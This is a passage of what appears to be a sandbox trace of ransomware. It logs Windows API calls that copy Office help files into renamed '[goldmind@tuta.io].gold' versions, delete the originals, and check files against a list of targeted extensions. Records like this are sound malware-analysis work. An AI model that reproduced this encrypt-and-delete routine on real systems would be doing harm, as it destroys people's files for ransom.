lpOverlapped=0x0) returned 1 [0103.322] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.322] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0103.322] SetEndOfFile (hFile=0x38c) returned 1 [0103.322] CloseHandle (hObject=0x38c) returned 1 [0103.322] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.322] SetEndOfFile (hFile=0x3a8) returned 1 [0103.324] CloseHandle (hObject=0x3a8) returned 1 [0103.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt")) returned 1 [0103.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0103.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0103.325] lstrlenW (lpString=".doc") returned 4 [0103.325] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0103.325] lstrlenW (lpString=".docx") returned 5 [0103.325] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0103.325] lstrlenW (lpString=".pdf") returned 4 [0103.325] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0103.325] lstrlenW (lpString=".xls") returned 4 [0103.325] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0103.325] lstrlenW (lpString=".xlsx") returned 5 [0103.325] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0103.325] lstrlenW (lpString=".ppt") returned 4 [0103.325] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0103.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0103.325] lstrlenW (lpString=".zip") returned 4 [0103.325] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0103.325] lstrlenW (lpString=".rar") returned 4 [0103.325] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0103.325] lstrlenW (lpString=".bz2") returned 4 [0103.325] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0103.325] lstrlenW (lpString=".7z") returned 3 [0103.325] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0103.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0103.325] lstrlenW (lpString=".dbf") returned 4 [0103.325] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0103.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0103.326] lstrlenW (lpString=".1cd") returned 4 [0103.326] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0103.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0103.326] lstrlenW (lpString=".jpg") returned 4 [0103.326] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0103.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0103.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0103.326] lstrlenW (lpString=".doc") returned 4 [0103.326] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0103.326] lstrlenW (lpString=".docx") returned 5 [0103.326] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0103.326] lstrlenW (lpString=".pdf") returned 4 [0103.326] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0103.326] lstrlenW (lpString=".xls") returned 4 [0103.326] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0103.326] lstrlenW (lpString=".xlsx") returned 5 [0103.326] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0103.326] lstrlenW (lpString=".ppt") returned 4 [0103.326] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0103.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0103.326] lstrlenW (lpString=".zip") returned 4 [0103.326] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0103.326] lstrlenW (lpString=".rar") returned 4 [0103.326] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0103.326] lstrlenW (lpString=".bz2") returned 4 [0103.326] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0103.326] lstrlenW (lpString=".7z") returned 3 [0103.326] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0103.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0103.326] lstrlenW (lpString=".dbf") returned 4 [0103.326] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0103.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0103.326] lstrlenW (lpString=".1cd") returned 4 [0103.326] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0103.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0103.326] lstrlenW (lpString=".jpg") returned 4 [0103.326] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0103.326] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0103.326] lstrlenW (lpString="MSACCESS_F_COL.HXK") returned 18 [0103.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.327] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=114) returned 1 [0103.327] CloseHandle (hObject=0x3a8) returned 1 [0103.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk")) returned 0x20 [0103.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.327] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.327] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.328] GetLastError () returned 0x0 [0103.328] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x72, lpOverlapped=0x0) returned 1 [0103.328] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x80, lpOverlapped=0x0) returned 1 [0103.329] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.329] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0103.329] SetEndOfFile (hFile=0x38c) returned 1 [0103.329] CloseHandle (hObject=0x38c) returned 1 [0103.329] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.329] SetEndOfFile (hFile=0x3a8) returned 1 [0103.331] CloseHandle (hObject=0x3a8) returned 1 [0103.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk")) returned 1 [0103.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0103.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0103.332] lstrlenW (lpString=".doc") returned 4 [0103.332] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.332] lstrlenW (lpString=".docx") returned 5 [0103.332] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.332] lstrlenW (lpString=".pdf") returned 4 [0103.332] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.332] lstrlenW (lpString=".xls") returned 4 [0103.332] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.332] lstrlenW (lpString=".xlsx") returned 5 [0103.332] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.332] lstrlenW (lpString=".ppt") returned 4 [0103.332] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0103.332] lstrlenW (lpString=".zip") returned 4 [0103.332] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.332] lstrlenW (lpString=".rar") returned 4 [0103.332] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.332] lstrlenW (lpString=".bz2") returned 4 [0103.332] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.332] lstrlenW (lpString=".7z") returned 3 [0103.332] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0103.332] lstrlenW (lpString=".dbf") returned 4 [0103.332] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0103.332] lstrlenW (lpString=".1cd") returned 4 [0103.332] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0103.333] lstrlenW (lpString=".jpg") returned 4 [0103.333] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0103.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0103.333] lstrlenW (lpString=".doc") returned 4 [0103.333] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.333] lstrlenW (lpString=".docx") returned 5 [0103.333] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.333] lstrlenW (lpString=".pdf") returned 4 [0103.333] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.333] lstrlenW (lpString=".xls") returned 4 [0103.333] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.333] lstrlenW (lpString=".xlsx") returned 5 [0103.333] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.333] lstrlenW (lpString=".ppt") returned 4 [0103.333] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0103.333] lstrlenW (lpString=".zip") returned 4 [0103.333] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.333] lstrlenW (lpString=".rar") returned 4 [0103.333] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.333] lstrlenW (lpString=".bz2") returned 4 [0103.333] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.333] lstrlenW (lpString=".7z") returned 3 [0103.333] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0103.333] lstrlenW (lpString=".dbf") returned 4 [0103.333] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0103.333] lstrlenW (lpString=".1cd") returned 4 [0103.333] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0103.333] lstrlenW (lpString=".jpg") returned 4 [0103.333] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.333] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0103.333] lstrlenW (lpString="MSACCESS_K_COL.HXK") returned 18 [0103.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.334] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=113) returned 1 [0103.334] CloseHandle (hObject=0x3a8) returned 1 [0103.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk")) returned 0x20 [0103.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.334] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.334] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.335] GetLastError () returned 0x0 [0103.335] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x71, lpOverlapped=0x0) returned 1 [0103.335] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x80, lpOverlapped=0x0) returned 1 [0103.336] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.336] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0103.336] SetEndOfFile (hFile=0x38c) returned 1 [0103.336] CloseHandle (hObject=0x38c) returned 1 [0103.343] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.343] SetEndOfFile (hFile=0x3a8) returned 1 [0103.629] CloseHandle (hObject=0x3a8) returned 1 [0103.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk")) returned 1 [0103.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0103.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0103.715] lstrlenW (lpString=".doc") returned 4 [0103.715] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.716] lstrlenW (lpString=".docx") returned 5 [0103.716] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.716] lstrlenW (lpString=".pdf") returned 4 [0103.716] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.716] lstrlenW (lpString=".xls") returned 4 [0103.716] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.716] lstrlenW (lpString=".xlsx") returned 5 [0103.716] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.716] lstrlenW (lpString=".ppt") returned 4 [0103.716] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0103.716] lstrlenW (lpString=".zip") returned 4 [0103.716] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.716] lstrlenW (lpString=".rar") returned 4 [0103.716] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.716] lstrlenW (lpString=".bz2") returned 4 [0103.716] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.716] lstrlenW (lpString=".7z") returned 3 [0103.716] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0103.716] lstrlenW (lpString=".dbf") returned 4 [0103.716] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0103.716] lstrlenW (lpString=".1cd") returned 4 [0103.716] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0103.716] lstrlenW (lpString=".jpg") returned 4 [0103.716] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0103.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0103.716] lstrlenW (lpString=".doc") returned 4 [0103.716] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.716] lstrlenW (lpString=".docx") returned 5 [0103.716] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.716] lstrlenW (lpString=".pdf") returned 4 [0103.716] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.716] lstrlenW (lpString=".xls") returned 4 [0103.716] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.716] lstrlenW (lpString=".xlsx") returned 5 [0103.716] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.716] lstrlenW (lpString=".ppt") returned 4 [0103.716] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0103.717] lstrlenW (lpString=".zip") returned 4 [0103.717] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.717] lstrlenW (lpString=".rar") returned 4 [0103.717] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.717] lstrlenW (lpString=".bz2") returned 4 [0103.717] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.717] lstrlenW (lpString=".7z") returned 3 [0103.717] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0103.717] lstrlenW (lpString=".dbf") returned 4 [0103.717] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0103.717] lstrlenW (lpString=".1cd") returned 4 [0103.717] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0103.717] lstrlenW (lpString=".jpg") returned 4 [0103.717] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.717] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0103.717] lstrlenW (lpString="MSTORE_F_COL.HXK") returned 16 [0103.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.717] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=114) returned 1 [0103.718] CloseHandle (hObject=0x38c) returned 1 [0103.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk")) returned 0x20 [0103.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.718] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.718] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.719] GetLastError () returned 0x0 [0103.719] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x72, lpOverlapped=0x0) returned 1 [0103.720] WriteFile (in: hFile=0x3b4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x80, lpOverlapped=0x0) returned 1 [0103.721] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.721] WriteFile (in: hFile=0x3b4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0103.721] SetEndOfFile (hFile=0x3b4) returned 1 [0103.721] CloseHandle (hObject=0x3b4) returned 1 [0103.721] SetFilePointerEx (in: hFile=0x38c, 